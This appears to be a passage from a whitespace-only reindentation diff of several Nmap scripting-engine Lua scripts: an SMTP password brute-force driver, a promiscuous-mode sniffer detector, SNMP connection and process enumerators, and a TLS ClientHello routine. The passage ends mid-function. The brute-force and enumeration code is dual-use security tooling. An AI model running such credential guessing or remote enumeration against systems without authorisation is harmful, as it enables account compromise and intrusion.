||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Connects to the server (retrieves a connection from the pool)
|
-- Connects to the server (retrieves a connection from the pool)
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.socket = ConnectionPool[coroutine.running()]
|
self.socket = ConnectionPool[coroutine.running()]
|
||||||
if ( not(self.socket) ) then
|
if ( not(self.socket) ) then
|
||||||
self.socket = smtp.connect(self.host, self.port, { ssl = true, recv_before = true })
|
self.socket = smtp.connect(self.host, self.port, { ssl = true, recv_before = true })
|
||||||
if ( not(self.socket) ) then return false end
|
if ( not(self.socket) ) then return false end
|
||||||
ConnectionPool[coroutine.running()] = self.socket
|
ConnectionPool[coroutine.running()] = self.socket
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Attempts to login to the server
|
-- Attempts to login to the server
|
||||||
-- @param username string containing the username
|
-- @param username string containing the username
|
||||||
-- @param password string containing the password
|
-- @param password string containing the password
|
||||||
-- @return status true on success, false on failure
|
-- @return status true on success, false on failure
|
||||||
-- @return brute.Error on failure and brute.Account on success
|
-- @return brute.Error on failure and brute.Account on success
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
local status, err = smtp.login( self.socket, username, password, mech )
|
local status, err = smtp.login( self.socket, username, password, mech )
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
smtp.quit(self.socket)
|
smtp.quit(self.socket)
|
||||||
ConnectionPool[coroutine.running()] = nil
|
ConnectionPool[coroutine.running()] = nil
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
if ( err:match("^ERROR: Failed to .*") ) then
|
if ( err:match("^ERROR: Failed to .*") ) then
|
||||||
self.socket:close()
|
self.socket:close()
|
||||||
ConnectionPool[coroutine.running()] = nil
|
ConnectionPool[coroutine.running()] = nil
|
||||||
local err = brute.Error:new( err )
|
local err = brute.Error:new( err )
|
||||||
-- This might be temporary, set the retry flag
|
-- This might be temporary, set the retry flag
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Disconnects from the server (release the connection object back to
|
-- Disconnects from the server (release the connection object back to
|
||||||
-- the pool)
|
-- the pool)
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local socket, response = smtp.connect(host, port, { ssl = true, recv_before = true })
|
local socket, response = smtp.connect(host, port, { ssl = true, recv_before = true })
|
||||||
if ( not(socket) ) then return "\n ERROR: Failed to connect to SMTP server" end
|
if ( not(socket) ) then return "\n ERROR: Failed to connect to SMTP server" end
|
||||||
local status, response = smtp.ehlo(socket, smtp.get_domain(host))
|
local status, response = smtp.ehlo(socket, smtp.get_domain(host))
|
||||||
if ( not(status) ) then return "\n ERROR: EHLO command failed, aborting ..." end
|
if ( not(status) ) then return "\n ERROR: EHLO command failed, aborting ..." end
|
||||||
local mechs = smtp.get_auth_mech(response)
|
local mechs = smtp.get_auth_mech(response)
|
||||||
if ( not(mechs) ) then
|
if ( not(mechs) ) then
|
||||||
return "\n ERROR: Failed to retrieve authentication mechanisms form server"
|
return "\n ERROR: Failed to retrieve authentication mechanisms form server"
|
||||||
end
|
end
|
||||||
smtp.quit(socket)
|
smtp.quit(socket)
|
||||||
|
|
||||||
local mech_prio = stdnse.get_script_args("smtp-brute.auth")
|
local mech_prio = stdnse.get_script_args("smtp-brute.auth")
|
||||||
mech_prio = ( mech_prio and { mech_prio } ) or
|
mech_prio = ( mech_prio and { mech_prio } ) or
|
||||||
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
|
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
|
||||||
|
|
||||||
for _, mp in ipairs(mech_prio) do
|
for _, mp in ipairs(mech_prio) do
|
||||||
for _, m in pairs(mechs) do
|
for _, m in pairs(mechs) do
|
||||||
if ( mp == m ) then
|
if ( mp == m ) then
|
||||||
mech = m
|
mech = m
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( mech ) then break end
|
if ( mech ) then break end
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
|
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
local result
|
local result
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
for _, sock in pairs(ConnectionPool) do sock:close() end
|
for _, sock in pairs(ConnectionPool) do sock:close() end
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -22,121 +22,121 @@ categories = {"discovery", "intrusive"}
|
|||||||
|
|
||||||
-- okay, we're interested only in hosts that are on our ethernet lan
|
-- okay, we're interested only in hosts that are on our ethernet lan
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
if nmap.address_family() ~= 'inet' then
|
if nmap.address_family() ~= 'inet' then
|
||||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
if host.directly_connected == true and
|
if host.directly_connected == true and
|
||||||
host.mac_addr ~= nil and
|
host.mac_addr ~= nil and
|
||||||
host.mac_addr_src ~= nil and
|
host.mac_addr_src ~= nil and
|
||||||
host.interface ~= nil then
|
host.interface ~= nil then
|
||||||
local iface = nmap.get_interface_info(host.interface)
|
local iface = nmap.get_interface_info(host.interface)
|
||||||
if iface and iface.link == 'ethernet' then
|
if iface and iface.link == 'ethernet' then
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
local function check (layer2)
|
local function check (layer2)
|
||||||
return string.sub(layer2, 0, 12)
|
return string.sub(layer2, 0, 12)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
do_test = function(dnet, pcap, host, test)
|
do_test = function(dnet, pcap, host, test)
|
||||||
local status, length, layer2, layer3
|
local status, length, layer2, layer3
|
||||||
local i = 0
|
local i = 0
|
||||||
|
|
||||||
-- ARP requests are send with timeouts: 10ms, 40ms, 90ms
|
-- ARP requests are send with timeouts: 10ms, 40ms, 90ms
|
||||||
-- before each try, we wait at least 100ms
|
-- before each try, we wait at least 100ms
|
||||||
-- in summary, this test takes at least 100ms and at most 440ms
|
-- in summary, this test takes at least 100ms and at most 440ms
|
||||||
for i=1,3 do
|
for i=1,3 do
|
||||||
-- flush buffers :), wait quite long.
|
-- flush buffers :), wait quite long.
|
||||||
repeat
|
repeat
|
||||||
pcap:set_timeout(100)
|
pcap:set_timeout(100)
|
||||||
local test = host.mac_addr_src .. host.mac_addr
|
local test = host.mac_addr_src .. host.mac_addr
|
||||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||||
while status and test ~= check(layer2) do
|
while status and test ~= check(layer2) do
|
||||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||||
end
|
end
|
||||||
until status ~= true
|
until status ~= true
|
||||||
pcap:set_timeout(10 * i*i)
|
pcap:set_timeout(10 * i*i)
|
||||||
|
|
||||||
dnet:ethernet_send(test)
|
dnet:ethernet_send(test)
|
||||||
|
|
||||||
local test = host.mac_addr_src .. host.mac_addr
|
local test = host.mac_addr_src .. host.mac_addr
|
||||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||||
while status and test ~= check(layer2) do
|
while status and test ~= check(layer2) do
|
||||||
status, length, layer2, layer3 = pcap:pcap_receive()
|
status, length, layer2, layer3 = pcap:pcap_receive()
|
||||||
end
|
end
|
||||||
if status == true then
|
if status == true then
|
||||||
-- the basic idea, was to inform user about time, when we got packet
|
-- the basic idea, was to inform user about time, when we got packet
|
||||||
-- so that 1 would mean (0-10ms), 2=(10-40ms) and 3=(40ms-90ms)
|
-- so that 1 would mean (0-10ms), 2=(10-40ms) and 3=(40ms-90ms)
|
||||||
-- but when we're running this tests on macs, first test is always 2.
|
-- but when we're running this tests on macs, first test is always 2.
|
||||||
-- which means that the first answer is dropped.
|
-- which means that the first answer is dropped.
|
||||||
-- for now, just return 1 if test was successfull, it's easier
|
-- for now, just return 1 if test was successfull, it's easier
|
||||||
-- return(i)
|
-- return(i)
|
||||||
return(1)
|
return(1)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return('_')
|
return('_')
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host)
|
action = function(host)
|
||||||
local dnet = nmap.new_dnet()
|
local dnet = nmap.new_dnet()
|
||||||
local pcap = nmap.new_socket()
|
local pcap = nmap.new_socket()
|
||||||
local _
|
local _
|
||||||
local status
|
local status
|
||||||
local results = {
|
local results = {
|
||||||
['1_____1_'] = false, -- MacOSX(Tiger.Panther)/Linux/ ?Win98/ WinXP sp2(no pcap)
|
['1_____1_'] = false, -- MacOSX(Tiger.Panther)/Linux/ ?Win98/ WinXP sp2(no pcap)
|
||||||
['1_______'] = false, -- Old Apple/SunOS/3Com
|
['1_______'] = false, -- Old Apple/SunOS/3Com
|
||||||
['1___1_1_'] = false, -- MacOSX(Tiger)
|
['1___1_1_'] = false, -- MacOSX(Tiger)
|
||||||
['11111111'] = true, -- BSD/Linux/OSX/ (or not promiscous openwrt )
|
['11111111'] = true, -- BSD/Linux/OSX/ (or not promiscous openwrt )
|
||||||
['1_1___1_'] = false, -- WinXP sp2 + pcap|| win98 sniff || win2k sniff (see below)
|
['1_1___1_'] = false, -- WinXP sp2 + pcap|| win98 sniff || win2k sniff (see below)
|
||||||
['111___1_'] = true, -- WinXP sp2 promisc
|
['111___1_'] = true, -- WinXP sp2 promisc
|
||||||
-- ['1111__1_'] = true, -- ?Win98 promisc + ??win98 no promisc *not confirmed*
|
--['1111__1_'] = true, -- ?Win98 promisc + ??win98 no promisc *not confirmed*
|
||||||
}
|
}
|
||||||
dnet:ethernet_open(host.interface)
|
dnet:ethernet_open(host.interface)
|
||||||
|
|
||||||
pcap:pcap_open(host.interface, 64, false, "arp")
|
pcap:pcap_open(host.interface, 64, false, "arp")
|
||||||
|
|
||||||
local test_static = host.mac_addr_src ..
|
local test_static = host.mac_addr_src ..
|
||||||
string.char(0x08,0x06, 0x00,0x01, 0x08,0x00, 0x06,0x04, 0x00,0x01) ..
|
string.char(0x08,0x06, 0x00,0x01, 0x08,0x00, 0x06,0x04, 0x00,0x01) ..
|
||||||
host.mac_addr_src ..
|
host.mac_addr_src ..
|
||||||
host.bin_ip_src ..
|
host.bin_ip_src ..
|
||||||
string.char(0x00,0x00, 0x00,0x00, 0x00,0x00) ..
|
string.char(0x00,0x00, 0x00,0x00, 0x00,0x00) ..
|
||||||
host.bin_ip
|
host.bin_ip
|
||||||
local t = {
|
local t = {
|
||||||
string.char(0xff,0xff, 0xff,0xff, 0xff,0xff), -- B32 no meaning?
|
string.char(0xff,0xff, 0xff,0xff, 0xff,0xff), -- B32 no meaning?
|
||||||
string.char(0xff,0xff, 0xff,0xff, 0xff,0xfe), -- B31
|
string.char(0xff,0xff, 0xff,0xff, 0xff,0xfe), -- B31
|
||||||
string.char(0xff,0xff, 0x00,0x00, 0x00,0x00), -- B16
|
string.char(0xff,0xff, 0x00,0x00, 0x00,0x00), -- B16
|
||||||
string.char(0xff,0x00, 0x00,0x00, 0x00,0x00), -- B8
|
string.char(0xff,0x00, 0x00,0x00, 0x00,0x00), -- B8
|
||||||
string.char(0x01,0x00, 0x00,0x00, 0x00,0x00), -- G
|
string.char(0x01,0x00, 0x00,0x00, 0x00,0x00), -- G
|
||||||
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x00), -- M0
|
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x00), -- M0
|
||||||
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x01), -- M1 no meaning?
|
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x01), -- M1 no meaning?
|
||||||
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x03), -- M3
|
string.char(0x01,0x00, 0x5e,0x00, 0x00,0x03), -- M3
|
||||||
}
|
}
|
||||||
local v
|
local v
|
||||||
local out = ""
|
local out = ""
|
||||||
for _, v in ipairs(t) do
|
for _, v in ipairs(t) do
|
||||||
out = out .. do_test(dnet, pcap, host, v .. test_static)
|
out = out .. do_test(dnet, pcap, host, v .. test_static)
|
||||||
end
|
end
|
||||||
|
|
||||||
dnet:ethernet_close()
|
dnet:ethernet_close()
|
||||||
pcap:pcap_close()
|
pcap:pcap_close()
|
||||||
|
|
||||||
if out == '1_1___1_' then
|
if out == '1_1___1_' then
|
||||||
return 'Windows with libpcap installed; may or may not be sniffing (tests: "' .. out .. '")'
|
return 'Windows with libpcap installed; may or may not be sniffing (tests: "' .. out .. '")'
|
||||||
end
|
end
|
||||||
if results[out] == false then
|
if results[out] == false then
|
||||||
-- probably not sniffing
|
-- probably not sniffing
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
if results[out] == true then
|
if results[out] == true then
|
||||||
-- rather sniffer.
|
-- rather sniffer.
|
||||||
return 'Likely in promiscuous mode (tests: "' .. out .. '")'
|
return 'Likely in promiscuous mode (tests: "' .. out .. '")'
|
||||||
end
|
end
|
||||||
|
|
||||||
-- results[out] == nil
|
-- results[out] == nil
|
||||||
return 'Unknown (tests: "' .. out .. '")'
|
return 'Unknown (tests: "' .. out .. '")'
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -46,96 +46,96 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
|
|||||||
-- @param base_oid string containing the value of the base_oid of the walk
|
-- @param base_oid string containing the value of the base_oid of the walk
|
||||||
-- @return table
|
-- @return table
|
||||||
local function process_answer( tbl, base_oid )
|
local function process_answer( tbl, base_oid )
|
||||||
local result = {}
|
local result = {}
|
||||||
for _, v in ipairs( tbl ) do
|
for _, v in ipairs( tbl ) do
|
||||||
local lip = v.oid:match( "^" .. base_oid .. "%.(%d+%.%d+%.%d+%.%d+)") or ""
|
local lip = v.oid:match( "^" .. base_oid .. "%.(%d+%.%d+%.%d+%.%d+)") or ""
|
||||||
local lport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.(%d+)")
|
local lport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.(%d+)")
|
||||||
local fip = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+%.%d+%.%d+%.%d+)") or "*:*"
|
local fip = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+%.%d+%.%d+%.%d+)") or "*:*"
|
||||||
local fport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+)")
|
local fport = v.oid:match( "^" .. base_oid .. "%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.%d+%.(%d+)")
|
||||||
local left = (lport and (lip .. ":" .. lport) or lip)
|
local left = (lport and (lip .. ":" .. lport) or lip)
|
||||||
local right= (fport and (fip .. ":" .. fport) or fip)
|
local right= (fport and (fip .. ":" .. fport) or fip)
|
||||||
if ( right or left ) then
|
if ( right or left ) then
|
||||||
table.insert(result, { left = left, right = right })
|
table.insert(result, { left = left, right = right })
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
local function format_output(tbl, prefix)
|
local function format_output(tbl, prefix)
|
||||||
local result = {}
|
local result = {}
|
||||||
for _, v in ipairs(tbl) do
|
for _, v in ipairs(tbl) do
|
||||||
local value = string.format("%-20s %s", v.left, v.right )
|
local value = string.format("%-20s %s", v.left, v.right )
|
||||||
table.insert( result, string.format( "%-4s %s", prefix, value ) )
|
table.insert( result, string.format( "%-4s %s", prefix, value ) )
|
||||||
end
|
end
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
local function table_merge( t1, t2 )
|
local function table_merge( t1, t2 )
|
||||||
for _, v in ipairs(t2) do
|
for _, v in ipairs(t2) do
|
||||||
table.insert(t1, v)
|
table.insert(t1, v)
|
||||||
end
|
end
|
||||||
return t1
|
return t1
|
||||||
end
|
end
|
||||||
|
|
||||||
local function add_targets(tbl)
|
local function add_targets(tbl)
|
||||||
if ( not(target.ALLOW_NEW_TARGETS) ) then
|
if ( not(target.ALLOW_NEW_TARGETS) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- get a list of local IPs
|
-- get a list of local IPs
|
||||||
local local_ips = {}
|
local local_ips = {}
|
||||||
for _, v in ipairs(tbl) do
|
for _, v in ipairs(tbl) do
|
||||||
local ip = ((v.left and v.left:match("^(.-):")) and v.left:match("^(.-):") or v.left)
|
local ip = ((v.left and v.left:match("^(.-):")) and v.left:match("^(.-):") or v.left)
|
||||||
local_ips[ip] = true
|
local_ips[ip] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
-- identify remote IPs
|
-- identify remote IPs
|
||||||
local remote_ips = {}
|
local remote_ips = {}
|
||||||
for _, v in ipairs(tbl) do
|
for _, v in ipairs(tbl) do
|
||||||
local ip = ((v.right and v.right:match("^(.-):")) and v.right:match("^(.-):") or v.right)
|
local ip = ((v.right and v.right:match("^(.-):")) and v.right:match("^(.-):") or v.right)
|
||||||
if ( not(remote_ips[ip]) and not(local_ips[ip]) and ip ~= "*" ) then
|
if ( not(remote_ips[ip]) and not(local_ips[ip]) and ip ~= "*" ) then
|
||||||
target.add(ip)
|
target.add(ip)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local catch = function() socket:close() end
|
local catch = function() socket:close() end
|
||||||
local try = nmap.new_try(catch)
|
local try = nmap.new_try(catch)
|
||||||
local tcp_oid = "1.3.6.1.2.1.6.13.1.1"
|
local tcp_oid = "1.3.6.1.2.1.6.13.1.1"
|
||||||
local udp_oid = "1.3.6.1.2.1.7.5.1.1"
|
local udp_oid = "1.3.6.1.2.1.7.5.1.1"
|
||||||
local netstat = {}
|
local netstat = {}
|
||||||
local status, tcp, udp
|
local status, tcp, udp
|
||||||
|
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
try(socket:connect(host, port))
|
try(socket:connect(host, port))
|
||||||
|
|
||||||
status, tcp = snmp.snmpWalk( socket, tcp_oid )
|
status, tcp = snmp.snmpWalk( socket, tcp_oid )
|
||||||
if ( not(status) ) then return end
|
if ( not(status) ) then return end
|
||||||
|
|
||||||
status, udp = snmp.snmpWalk( socket, udp_oid )
|
status, udp = snmp.snmpWalk( socket, udp_oid )
|
||||||
if ( not(status) ) then return end
|
if ( not(status) ) then return end
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
if ( tcp == nil ) or ( #tcp == 0 ) or ( udp==nil ) or ( #udp == 0 ) then
|
if ( tcp == nil ) or ( #tcp == 0 ) or ( udp==nil ) or ( #udp == 0 ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
tcp = process_answer(tcp, tcp_oid)
|
tcp = process_answer(tcp, tcp_oid)
|
||||||
add_targets(tcp)
|
add_targets(tcp)
|
||||||
tcp = format_output(tcp, "TCP")
|
tcp = format_output(tcp, "TCP")
|
||||||
|
|
||||||
udp = process_answer(udp, udp_oid)
|
udp = process_answer(udp, udp_oid)
|
||||||
add_targets(udp)
|
add_targets(udp)
|
||||||
udp = format_output(udp, "UDP")
|
udp = format_output(udp, "UDP")
|
||||||
|
|
||||||
netstat = table_merge( tcp, udp )
|
netstat = table_merge( tcp, udp )
|
||||||
|
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
return stdnse.format_output( true, netstat )
|
return stdnse.format_output( true, netstat )
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -52,13 +52,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
|
|||||||
-- @return value of relevant type or nil if oid was not found
|
-- @return value of relevant type or nil if oid was not found
|
||||||
function get_value_from_table( tbl, oid )
|
function get_value_from_table( tbl, oid )
|
||||||
|
|
||||||
for _, v in ipairs( tbl ) do
|
for _, v in ipairs( tbl ) do
|
||||||
if v.oid == oid then
|
if v.oid == oid then
|
||||||
return v.value
|
return v.value
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Processes the table and creates the script output
|
--- Processes the table and creates the script output
|
||||||
@@ -67,72 +67,72 @@ end
|
|||||||
-- @return table suitable for <code>stdnse.format_output</code>
|
-- @return table suitable for <code>stdnse.format_output</code>
|
||||||
function process_answer( tbl )
|
function process_answer( tbl )
|
||||||
|
|
||||||
local swrun_name = "1.3.6.1.2.1.25.4.2.1.2"
|
local swrun_name = "1.3.6.1.2.1.25.4.2.1.2"
|
||||||
local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1"
|
local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1"
|
||||||
local swrun_path = "1.3.6.1.2.1.25.4.2.1.4"
|
local swrun_path = "1.3.6.1.2.1.25.4.2.1.4"
|
||||||
local swrun_params = "1.3.6.1.2.1.25.4.2.1.5"
|
local swrun_params = "1.3.6.1.2.1.25.4.2.1.5"
|
||||||
local new_tbl = {}
|
local new_tbl = {}
|
||||||
|
|
||||||
for _, v in ipairs( tbl ) do
|
for _, v in ipairs( tbl ) do
|
||||||
|
|
||||||
if ( v.oid:match("^" .. swrun_name) ) then
|
if ( v.oid:match("^" .. swrun_name) ) then
|
||||||
local item = {}
|
local item = {}
|
||||||
local objid = v.oid:gsub( "^" .. swrun_name, swrun_path)
|
local objid = v.oid:gsub( "^" .. swrun_name, swrun_path)
|
||||||
local value = get_value_from_table( tbl, objid )
|
local value = get_value_from_table( tbl, objid )
|
||||||
|
|
||||||
if value and value:len() > 0 then
|
if value and value:len() > 0 then
|
||||||
table.insert( item, ("Path: %s"):format( value ) )
|
table.insert( item, ("Path: %s"):format( value ) )
|
||||||
end
|
end
|
||||||
|
|
||||||
objid = v.oid:gsub( "^" .. swrun_name, swrun_params)
|
objid = v.oid:gsub( "^" .. swrun_name, swrun_params)
|
||||||
value = get_value_from_table( tbl, objid )
|
value = get_value_from_table( tbl, objid )
|
||||||
|
|
||||||
if value and value:len() > 0 then
|
if value and value:len() > 0 then
|
||||||
table.insert( item, ("Params: %s"):format( value ) )
|
table.insert( item, ("Params: %s"):format( value ) )
|
||||||
end
|
end
|
||||||
|
|
||||||
objid = v.oid:gsub( "^" .. swrun_name, swrun_pid)
|
objid = v.oid:gsub( "^" .. swrun_name, swrun_pid)
|
||||||
value = get_value_from_table( tbl, objid )
|
value = get_value_from_table( tbl, objid )
|
||||||
|
|
||||||
if value then
|
if value then
|
||||||
table.insert( item, ("PID: %s"):format( value ) )
|
table.insert( item, ("PID: %s"):format( value ) )
|
||||||
end
|
end
|
||||||
|
|
||||||
item.name = v.value
|
item.name = v.value
|
||||||
table.insert( item, value )
|
table.insert( item, value )
|
||||||
table.insert( new_tbl, item )
|
table.insert( new_tbl, item )
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
return new_tbl
|
return new_tbl
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local catch = function() socket:close() end
|
local catch = function() socket:close() end
|
||||||
local try = nmap.new_try(catch)
|
local try = nmap.new_try(catch)
|
||||||
local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2"
|
local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2"
|
||||||
local shares = {}
|
local shares = {}
|
||||||
local status
|
local status
|
||||||
|
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
try(socket:connect(host, port))
|
try(socket:connect(host, port))
|
||||||
|
|
||||||
status, shares = snmp.snmpWalk( socket, snmpoid )
|
status, shares = snmp.snmpWalk( socket, snmpoid )
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then
|
if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
shares = process_answer( shares )
|
shares = process_answer( shares )
|
||||||
|
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
|
|
||||||
return stdnse.format_output( true, shares )
|
return stdnse.format_output( true, shares )
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
|||||||
categories = {"discovery", "safe", "default"}
|
categories = {"discovery", "safe", "default"}
|
||||||
|
|
||||||
portrule = function(host, port)
|
portrule = function(host, port)
|
||||||
return shortport.ssl(host, port) or sslcert.isPortSupported(port)
|
return shortport.ssl(host, port) or sslcert.isPortSupported(port)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
@@ -52,94 +52,94 @@ end
|
|||||||
--@return status true if response, false else.
|
--@return status true if response, false else.
|
||||||
--@return response if status is true.
|
--@return response if status is true.
|
||||||
local client_hello = function(host, port)
|
local client_hello = function(host, port)
|
||||||
local sock, status, response, err, cli_h
|
local sock, status, response, err, cli_h
|
||||||
|
|
||||||
-- Craft Client Hello
|
-- Craft Client Hello
|
||||||
cli_h = tls.client_hello({
|
cli_h = tls.client_hello({
|
||||||
["protocol"] = "TLSv1.0",
|
["protocol"] = "TLSv1.0",
|
||||||
["ciphers"] = {
|
["ciphers"] = {
|
||||||
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
|
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
|
||||||
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
|
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
|
||||||
"TLS_RSA_WITH_RC4_128_MD5",
|
"TLS_RSA_WITH_RC4_128_MD5",
|
||||||
},
|
},
|
||||||
["compressors"] = {"NULL"},
|
["compressors"] = {"NULL"},
|
||||||
})
|
})
|
||||||
|
|
||||||
-- Connect to the target server
|
-- Connect to the target server
|
||||||
local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port)
|
local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port)
|
||||||
|
|
||||||
if not specialized_function then
|
if not specialized_function then
|
||||||
sock = nmap.new_socket()
|
sock = nmap.new_socket()
|
||||||
sock:set_timeout(5000)
|
sock:set_timeout(5000)
|
||||||
status, err = sock:connect(host, port)
|
status, err = sock:connect(host, port)
|
||||||
if not status then
|
|
||||||
sock:close()
|
|
||||||
stdnse.print_debug("Can't send: %s", err)
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
else
|
|
||||||
status,sock = specialized_function(host,port)
|
|
||||||
if not status then
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
-- Send Client Hello to the target server
|
|
||||||
status, err = sock:send(cli_h)
|
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug("Couldn't send: %s", err)
|
sock:close()
|
||||||
sock:close()
|
stdnse.print_debug("Can't send: %s", err)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
else
|
||||||
-- Read response
|
status,sock = specialized_function(host,port)
|
||||||
status, response, err = tls.record_buffer(sock)
|
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug("Couldn't receive: %s", err)
|
return false
|
||||||
sock:close()
|
|
||||||
return false
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
return true, response
|
|
||||||
|
-- Send Client Hello to the target server
|
||||||
|
status, err = sock:send(cli_h)
|
||||||
|
if not status then
|
||||||
|
stdnse.print_debug("Couldn't send: %s", err)
|
||||||
|
sock:close()
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
-- Read response
|
||||||
|
status, response, err = tls.record_buffer(sock)
|
||||||
|
if not status then
|
||||||
|
stdnse.print_debug("Couldn't receive: %s", err)
|
||||||
|
sock:close()
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
return true, response
|
||||||
end
|
end
|
||||||
|
|
||||||
-- extract time from ServerHello response
|
-- extract time from ServerHello response
|
||||||
local extract_time = function(response)
|
local extract_time = function(response)
|
||||||
local i, record = tls.record_read(response, 0)
|
local i, record = tls.record_read(response, 0)
|
||||||
if record == nil then
|
if record == nil then
|
||||||
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
|
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
|
||||||
